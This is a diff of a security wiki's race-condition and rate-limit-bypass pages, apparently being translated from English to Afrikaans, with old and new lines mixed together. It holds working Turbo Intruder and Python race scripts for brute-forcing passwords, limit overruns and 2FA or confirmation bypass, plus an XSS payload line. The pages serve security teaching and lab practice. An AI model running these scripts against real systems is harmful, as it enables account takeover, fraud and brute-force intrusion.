- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
@ -232,4 +218,3 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -3,109 +3,104 @@
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) om maklik te bou en **outomatiese werksvloei** te skep wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> Vir 'n diep begrip van hierdie tegniek, kyk die oorspronklike verslag in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Enhancing Race Condition Attacks
## Verbetering van Race Condition Aanvalle
The main hurdle in taking advantage of race conditions is making sure that multiple requests are handled at the same time, with **very little difference in their processing times—ideally, less than 1ms**.
Die hoofhindernis om voordeel te trek uit race condities is om te verseker dat verskeie versoeke gelyktydig hanteer word, met **baie min verskil in hul verwerkingstye—ideaal gesproke, minder as 1ms**.
Here you can find some techniques for Synchronizing Requests:
Hier kan jy 'n paar tegnieke vir die Sinchronisering van Versoeke vind:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
#### HTTP/2 Enkel-Pakket Aanval vs. HTTP/1.1 Laaste-Byte Sinchronisering
- **HTTP/2**: Supports sending two requests over a single TCP connection, reducing network jitter impact. However, due to server-side variations, two requests may not suffice for a consistent race condition exploit.
- **HTTP/1.1 'Last-Byte Sync'**: Enables the pre-sending of most parts of 20-30 requests, withholding a small fragment, which is then sent together, achieving simultaneous arrival at the server.
- **HTTP/2**: Ondersteun die sending van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerk jitter verminder. egter, weens variasies aan die bedienerkant, mag twee versoeke nie voldoende wees vir 'n konsekwente race condition uitbuiting nie.
- **HTTP/1.1 'Laaste-Byte Sync'**: Maak dit moontlik om die meeste dele van 20-30 versoeke vooraf te stuur, terwyl 'n klein fragment teruggehou word, wat dan saamgestuur word, wat gelyktydige aankoms by die bediener bereik.
**Preparation for Last-Byte Sync** involves:
**Voorbereiding vir Laaste-Byte Sync** behels:
1. Sending headers and body data minus the final byte without ending the stream.
2. Pausing for 100ms post-initial send.
3. Disabling TCP_NODELAY to utilize Nagle's algorithm for batching final frames.
4. Pinging to warm up the connection.
1. Stuur koptekste en liggaamsdata minus die finale byte sonder om die stroom te beëindig.
2. Pauzeer vir 100ms na die aanvanklike sending.
3. Deaktiveer TCP_NODELAY om Nagle se algoritme te benut vir die bundeling van finale rame.
4. Ping om die verbinding op te warm.
The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
Die daaropvolgende sending van teruggehoue rame moet lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lêers nie, wat tipies nie betrokke is by RC-aanvalle nie.
### Adapting to Server Architecture
### Aanpassing by Bediener Argitektuur
Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
Om die teiken se argitektuur te verstaan is van kardinale belang. Front-end bedieners mag versoeke anders roete, wat tydsberekening beïnvloed. Voorkomende bediener-kant verbinding opwarming, deur onbelangrike versoeke, mag versoek tydsberekening normaliseer.
#### Handling Session-Based Locking
#### Hantering van Sessie-gebaseerde Locking
Frameworks like PHP's session handler serialize requests by session, potentially obscuring vulnerabilities. Utilizing different session tokens for each request can circumvent this issue.
Raamwerke soos PHP se sessiehandler serialiseer versoeke volgens sessie, wat moontlik kwesbaarhede kan verdoesel. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.
#### Overcoming Rate or Resource Limits
#### Oorkoming van Tempo of Hulpbron Limiete
If connection warming is ineffective, triggering web servers' rate or resource limit delays intentionally through a flood of dummy requests might facilitate the single-packet attack by inducing a server-side delay conducive to race conditions.
As verbinding opwarming nie effektief is nie, kan die doelbewuste onttriggering van webbedieners se tempo of hulpbronlimiet vertragings deur 'n vloed van dummy versoeke die enkel-pakket aanval fasiliteer deur 'n bediener-kant vertraging te veroorsaak wat bevorderlik is vir race condities.
## Attack Examples
## Aanval Voorbeelde
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
- **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** stuur (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), jy kan die waarde wat jy wil brute force vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` verander en dan die **`examples/race-single-packer-attack.py`** uit die keuselys kies:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
As jy van plan is om **verskillende waardes te stuur**, kan jy die kode met hierdie een wat 'n woordlys van die klembord gebruik, aanpas:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> If the web doesn't support HTTP2 (only HTTP1.1) use `Engine.THREADED` or `Engine.BURP` instead of `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like:
> As die web nie HTTP2 ondersteun nie (slegs HTTP1.1) gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
- **Tubo Intruder - HTTP2 enkele-pakket aanval (Verskeie eindpunte)**: In die geval dat jy 'n versoek na 1 eindpunt moet stuur en dan verskeie na ander eindpunte om die RCE te aktiveer, kan jy die `race-single-packet-attack.py` skrip met iets soos:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- It's also available in **Repeater** via the new '**Send group in parallel**' option in Burp Suite.
- For **limit-overrun** you could just add the **same request 50 times** in the group.
- For **connection warming**, you could **add** at the **beginning** of the **group** some **requests** to some non static part of the web server.
- For **delaying** the process **between** processing **one request and another** in a 2 substates steps, you could **add extra requests between** both requests.
- For a **multi-endpoint** RC you could start sending the **request** that **goes to the hidden state** and then **50 requests** just after it that **exploits the hidden state**.
- Dit is ook beskikbaar in **Repeater** via die nuwe '**Stuur groep parallel**' opsie in Burp Suite.
- Vir **limit-overrun** kan jy net die **dieselfde versoek 50 keer** in die groep voeg.
- Vir **connection warming** kan jy **byvoeg** aan die **begin** van die **groep** 'n paar **versoeke** na 'n nie-statiese deel van die webbediener.
- Vir **delaying** die proses **tussen** die verwerking van **een versoek en 'n ander** in 'n 2 substates stappe, kan jy **extra versoeke tussen** albei versoeke voeg.
- Vir 'n **multi-endpoint** RC kan jy begin om die **versoek** te stuur wat **na die versteekte toestand** gaan en dan **50 versoeke** net daarna wat **die versteekte toestand** benut.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
- **Geoutomatiseerde python skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasietoken van die nuwe e-pos by die laaste e-pos aankom (dit is omdat daar in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te verander, maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een bevolk was).\
Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons ons het die verifikasietoken van die veranderde e-pos ontvang en beëindig ons die aanval.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -142,257 +137,208 @@ response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
h2_conn.setup_connection()
try_num = 100
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
print('---')
sleep(3)
h2_conn.close_connection()
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
response = requests.get(url, verify=False)
```
### Verbetering van Enkelpakketaanval
### Improving Single Packet Attack
In die oorspronklike navorsing word verduidelik dat hierdie aanval 'n limiet van 1,500 bytes het. egter, in [**hierdie pos**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), is verduidelik hoe dit moontlik is om die 1,500-byte beperking van die enkelpakketaanval uit te brei na die **65,535 B vensterbeperking van TCP deur IP-laag fragmentasie te gebruik** (om 'n enkele pakket in verskeie IP-pakkette te verdeel) en hulle in 'n ander volgorde te stuur, wat dit moontlik maak om die pakket te voorkom om weer saamgestel te word totdat al die fragmente by die bediener aankom. Hierdie tegniek het die navorser in staat gestel om 10,000 versoeke in ongeveer 166ms te stuur.&#x20;
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.&#x20;
Let daarop dat alhoewel hierdie verbetering die aanval meer betroubaar maak in RC wat honderde/duisende pakkette vereis om op dieselfde tyd aan te kom, dit ook 'n paar sagtewarebeperkings kan hê. Sommige gewilde HTTP-bedieners soos Apache, Nginx en Go het 'n streng `SETTINGS_MAX_CONCURRENT_STREAMS` instelling van 100, 128 en 250. egter, ander soos NodeJS en nghttp2 het dit onbeperk.\
Dit beteken basies dat Apache slegs 100 HTTP-verbindinge van 'n enkele TCP-verbinding sal oorweeg (wat hierdie RC-aanval beperk).
Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\
This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack).
Jy kan 'n paar voorbeelde van hierdie tegniek in die repo vind [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Rau BF
## Raw BF
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
- **Repeater:** Check the examples from the previous section.
- **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
- **Turbo Intruder**
Voor die vorige navorsing was daar 'n paar payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.
- **Herhaler:** Kyk na die voorbeelde van die vorige afdeling.
- **Indringer**: Stuur die **versoek** na **Indringer**, stel die **aantal drade** op **30** binne die **Opsies-menu en,** kies as payload **Null payloads** en genereer **30.**
- **Turbo Indringer**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
- **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **RC Metodologie**
## **RC Methodology**
### Limiet-oortreding / TOCTOU
### Limit-overrun / TOCTOU
Dit is die mees basiese tipe van 'n race condition waar **kwesbaarhede** wat **verskyn** in plekke wat **die aantal kere wat jy 'n aksie kan uitvoer, beperk**. Soos om dieselfde afslagkode verskeie kere in 'n webwinkel te gebruik. 'n Baie maklike voorbeeld kan gevind word in [**hierdie verslag**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**hierdie fout**](https://hackerone.com/reports/759247)**.**
This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
Daar is baie variasies van hierdie tipe aanval, insluitend:
There are many variations of this kind of attack, including:
- 'n Geskenkkaart verskeie kere inlos
- 'n Produk verskeie kere beoordeel
- Kontant onttrek of oordra bo jou rekeningbalans
- 'n Enkele CAPTCHA-oplossing hergebruik
- 'n Anti-brute-force koerslimiet omseil
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
### **Versteekte substates**
### **Hidden substates**
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **unintended machine substates**. Heres how to approach this:
1. **Identify Potential Hidden Substates**
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
- **Storage**: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- **Action**: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- **Keying**: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
2. **Conduct Initial Probing**
- Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
3. **Demonstrate the Vulnerability**
- Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
### Time Sensitive Attacks
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
**To Exploit:**
- Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
**Example:**
- Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## Hidden substates case studies
### Pay & add an Item
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
### Confirm other emails
The idea is to **verify an email address and change it to a different one at the same time** to find out if the platform verifies the new one changed.
### Change email to 2 emails addresses Cookie based
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### Hidden Database states / Confirmation Bypass
If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Bypass 2FA
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
Die benutting van komplekse race conditions behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien substates** te kommunikeer. Hier is hoe om dit aan te pak:
1. **Identifiseer Potensiële Versteekte Substates**
- Begin deur eindpunte te identifiseer wat kritieke data, soos gebruikersprofiele of wagwoordherstelprosesse, wysig of mee werk. Fokus op:
- **Berging**: Verkies eindpunte wat server-kant volhoubare data manipuleer bo dié wat data kliënt-kant hanteer.
- **Aksie**: Soek na operasies wat bestaande data verander, wat meer waarskynlik is om benutbare toestande te skep in vergelyking met dié wat nuwe data byvoeg.
- **Sleuteling**: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifiseerder gesleutel is, bv. gebruikersnaam of hersteltoken.
2. **Voer Aanvanklike Probing Uit**
- Toets die geïdentifiseerde eindpunte met race condition aanvalle, en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in toepassingsgedrag kan 'n kwesbaarheid aandui.
3. **Demonstreer die Kwesbaarheid**
-
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 ewige volharding
### OAuth2 eternal persistence
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
Daar is verskeie [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Hierdie dienste sal jou toelaat om 'n toepassing te skep en gebruikers te verifieer wat die verskaffer geregistreer het. Om dit te doen, sal die **klient** jou **toepassing** moet **toelaat** om toegang te verkry tot sommige van hul data binne die **OAUth provider**.\
So, tot hier is dit net 'n algemene aanmelding met google/linkedin/github... waar jy 'n bladsy voorgelê word wat sê: "_Toepassing \<InsertCoolName> wil toegang tot jou inligting hê, wil jy dit toelaat?_"
#### Race Condition in `authorization_code`
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
Die **probleem** verskyn wanneer jy dit **aanvaar** en outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan, hierdie **toepassing misbruik 'n Race Condition in die OAUth diensverskaffer om meer as een AT/RT** (_Authentication Token/Refresh Token_) van die **`authorization_code`** vir jou rekening te genereer. Basies, dit sal die feit misbruik dat jy die toepassing aanvaar het om toegang tot jou data te verkry om **verskeie rekeninge te skep**. Dan, as jy **stop om die toepassing toe te laat om toegang tot jou data te verkry, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees**.
#### Race Condition in `Refresh Token`
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
Sodra jy 'n **geldige RT** **verkry** het, kan jy probeer om dit te **misbruik om verskeie AT/RT** te genereer en **selfs as die gebruiker die toestemmings kanselleer** vir die kwaadwillige toepassing om toegang tot sy data te verkry, **sal verskeie RT's steeds geldig wees.**
## **RC in WebSockets**
In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) kan jy 'n PoC in Java vind om websocket-boodskappe in **parallel** te stuur om **Race Conditions ook in Web Sockets** te misbruik.
## References
## Verwysings
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -406,8 +352,7 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

View File

@ -1,29 +1,28 @@
# Rate Limit Bypass
# Tariefbeperking Omseiling
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) om maklik te bou en **werkvloei** te **automate** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
{{#include ../banners/hacktricks-training.md}}
## Rate limit bypass techniques
## Tariefbeperking omseiling tegnieke
### Exploring Similar Endpoints
### Verkenning van Soortgelyke Eindpunte
Attempts should be made to perform brute force attacks on variations of the targeted endpoint, such as `/api/v3/sign-up`, including alternatives like `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` etc.
Pogings moet aangewend word om brute force-aanvalle op variasies van die geteikende eindpunt uit te voer, soos `/api/v3/sign-up`, insluitend alternatiewe soos `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ens.
### Incorporating Blank Characters in Code or Parameters
### Inkorporeer Leë Karakters in Kode of Parameters
